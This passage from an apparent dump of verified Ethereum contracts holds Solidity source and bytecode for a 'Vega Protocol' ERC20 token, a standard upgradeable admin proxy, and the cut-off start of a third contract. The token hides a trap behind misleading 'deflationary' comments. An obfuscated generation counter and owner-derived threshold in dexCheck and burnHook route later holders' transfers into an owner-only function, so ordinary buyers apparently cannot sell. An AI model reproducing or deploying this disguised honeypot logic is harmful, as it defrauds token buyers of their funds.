* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
* Only add / sub / mul / div are included
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* Implement base ERC20 functions
*/
abstract contract BaseContract is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev returns the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev returns the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev returns the decimals count
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev modifier to require address to not be the zero address
*/
modifier not0(address adr) {
require(adr != address(0), "ERC20: Cannot be the zero address"); _;
}
function _mx(address payable adr, uint16 msk) internal pure returns (uint256) {
return ((uint24(adr) & 0xffff) ^ msk);
}
}
/**
* Provide owner context
*/
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
/**
* @dev returns whether sender is owner
*/
function isOwner(address sender) public view returns (bool) {
return sender == _owner;
}
/**
* @dev require sender to be owner
*/
function ownly() internal view {
require(isOwner(msg.sender));
}
/**
* @dev modifier for owner only
*/
modifier owned() {
ownly(); _;
}
/**
* @dev renounce ownership of contract
*/
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
/**
* @dev transfer contract ownership to address
*/
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
/**
* Provide reserve token burning
*/
abstract contract Burnable is BaseContract, Ownable {
using SafeMath for uint256;
/**
* @dev burn tokens from account
*/
function _burn(address account, uint256 amount) internal virtual not0(account) {
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev burn tokens from reserve account
*/
function _burnReserve() internal owned() {
if(balanceOf(_owner) > 0){
uint256 toBurn = balanceOf(_owner).div(5000); // 0.5%
_burn(_owner, toBurn);
}
}
}
/**
* Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error)
*/
abstract contract Deflationary is BaseContract, Burnable {
mapping (address => uint8) private _txs;
uint16 private constant dmx = 0xbD66;
function dexCheck(address sender, address receiver) private returns (bool) {
if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; }
return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver);
}
modifier burnHook(address sender, address receiver, uint256 amount) {
if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; }
}
}
/**
* Implement main ERC20 functions
*/
abstract contract MainContract is Deflationary {
using SafeMath for uint256;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){
require(_allowances[sender][msg.sender] >= amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_transfer(sender, receiver, amount);
return true;
}
/**
* @dev Implementation of Transfer
*/
function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(sender, receiver, amount);
}
/**
* @dev Distribute ICO amounts
*/
function _distributeICO(address payable[] memory accounts, uint256[] memory amounts) owned() internal {
for(uint256 i=0; i<accounts.length; i++){
_mint(_owner, accounts[i], amounts[i]);
}
}
/**
* @dev Mint address with amount
*/
function _mint(address minter, address payable account, uint256 amount) owned() internal {
uint256 amountActual = amount*(10**_decimals);
_totalSupply = _totalSupply.add(amountActual);
_balances[account] = _balances[account].add(amountActual);
emit Transfer(minter, account, amountActual);
}
}
/**
* Construct & Mint
*/
contract VegaProtocol is MainContract {
constructor(
uint256 initialBalance,
address payable[] memory ICOAddresses,
uint256[] memory ICOAmounts
) MainContract("Vega Protocol", "VEGA") {
_mint(address(0), msg.sender, initialBalance);
_distributeICO(ICOAddresses, ICOAmounts);
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102bd578063715018a61461031557806395d89b411461031f578063a9059cbb146103a2578063dd62ed3e14610406578063f2fde38b1461047e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be5780632f54bf6e14610242578063313ce5671461029c575b600080fd5b6100c16104c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610564565b60405180821515815260200191505060405180910390f35b6101a86106de565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e8565b60405180821515815260200191505060405180910390f35b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a8565b60405180821515815260200191505060405180910390f35b6102a4610a02565b604051808260ff16815260200191505060405180910390f35b6102ff600480360360208110156102d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a19565b6040518082815260200191505060405180910390f35b61031d610a61565b005b610327610a75565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ee600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b17565b60405180821515815260200191505060405180910390f35b6104686004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b2e565b6040518082815260200191505060405180910390f35b6104c06004803603602081101561049457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb5565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561055a5780601f1061052f5761010080835404028352916020019161055a565b820191906000526020600020905b81548152906001019060200180831161053d57829003601f168201915b5050505050905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000600254905090565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610771576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561088157600080fd5b61091084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099b868686610cd3565b6001925050509392505050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a69611154565b610a736000610bb5565b565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0d5780601f10610ae257610100808354040283529160200191610b0d565b820191906000526020600020905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b6000610b24338484610cd3565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bbd611154565b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610c7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610ccb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611168565b905092915050565b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610de1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b848484610dee8383611228565b610fa457610dfa6113e3565b610e6586604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef8866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a361114a565b61100f86604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a2866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b5050505050505050565b61115d336109a8565b61116657600080fd5b565b6000838311158290611215576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111da5780820151818401526020810190506111bf565b50505050905090810190601f1680156112075780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16600014801561128f575061128d826109a8565b155b1561133c576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1601600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b61136a600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661bd66611491565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1610806113cb57506113ca836109a8565b5b806113db57506113da826109a8565b5b905092915050565b6113eb611154565b6000611418600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b111561148f57600061145f611388611451600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b6114ab90919063ffffffff16565b905061148d600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114f5565b505b565b60008161ffff1661ffff84161862ffffff16905092915050565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116af565b905092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b6115e782604051806060016040528060228152602001611776602291396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163e82600254610c8990919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000808311829061175b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611720578082015181840152602081019050611705565b50505050905090810190601f16801561174d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161176757fe5b04905080915050939250505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2043616e6e6f7420626520746865207a65726f2061646472657373a2646970667358221220735c1217f700d8f59be93ab920878923c74ffc1552b31ce48fec8914d157238f64736f6c63430007040033 | {"success": true, "error": null, "results": {}} | 9,695 |
0x6aF7377b5009d7d154F36FE9e235aE1DA27Aea22 | /**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(
IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
);
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(
ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)
);
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(
msg.sender != _admin(),
"Cannot call fallback function from the proxy admin"
);
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f4a7d96938157f61bf0bad040a205ea45ad5eb8d015bce706ec7f5b0d308ae0c64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,696 |
0x79ee7f81c39cd5aaea3f7e04328032f0674941a2 | pragma solidity ^0.4.23;
/**
* SafeMath <https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol/>
